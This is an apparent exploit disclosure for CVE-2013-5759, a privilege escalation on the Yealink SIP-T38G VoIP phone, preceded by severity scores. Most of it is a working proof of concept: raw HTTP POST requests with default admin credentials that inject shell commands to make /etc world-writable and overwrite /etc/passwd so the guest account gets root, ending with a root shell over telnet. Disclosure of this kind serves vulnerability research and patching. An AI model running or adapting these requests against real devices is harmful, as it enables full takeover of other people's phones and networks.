9 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
SINGLE
Confidentiality Impact
COMPLETE
Integrity Impact
COMPLETE
Availability Impact
COMPLETE
AV:N/AC:L/Au:S/C:C/I:C/A:C
6.4 Medium
AI Score
Confidence
Low
0.011 Low
EPSS
Percentile
84.1%
Title: Yealink VoIP Phone SIP-T38G Privileges Escalation
Author: Mr.Un1k0d3r & Doreth.Z10 From RingZer0 Team
Vendor Homepage: http://www.yealink.com/Companyprofile.aspx
Version: VoIP Phone SIP-T38G
CVE: CVE-2013-5759
Description:
Using the fact that cgiServer.exx run under the root privileges we use the
command execution (CVE-2013-5758) to modify the system file restriction.
Then we add extra privileges to the guest account.
POC:
Step 1 - Changing /etc folder right to 777:
POST /cgi-bin/cgiServer.exx HTTP/1.1
Host: 10.0.75.122
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
system("/bin/busybox%20chmod%20-R%20777%20/etc")
Step 2 - Change guest user uid:
POST /cgi-bin/cgiServer.exx HTTP/1.1
Host: 10.0.75.122
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
system("echo "root:x:0:0:Root,,,:/:/bin/sh
admin:x:500:500:Admin,,,:/:/bin/sh
guest:x:0:0:Guest,,,:/:/bin/sh\" > /etc/passwd
")
Step 3 - Connect back using telnet and guest account (password is guest):
# id
uid=0(root) gid=0(root)
Enjoy your root shell :)
--
*Mr.Un1k0d3r** or 1 #*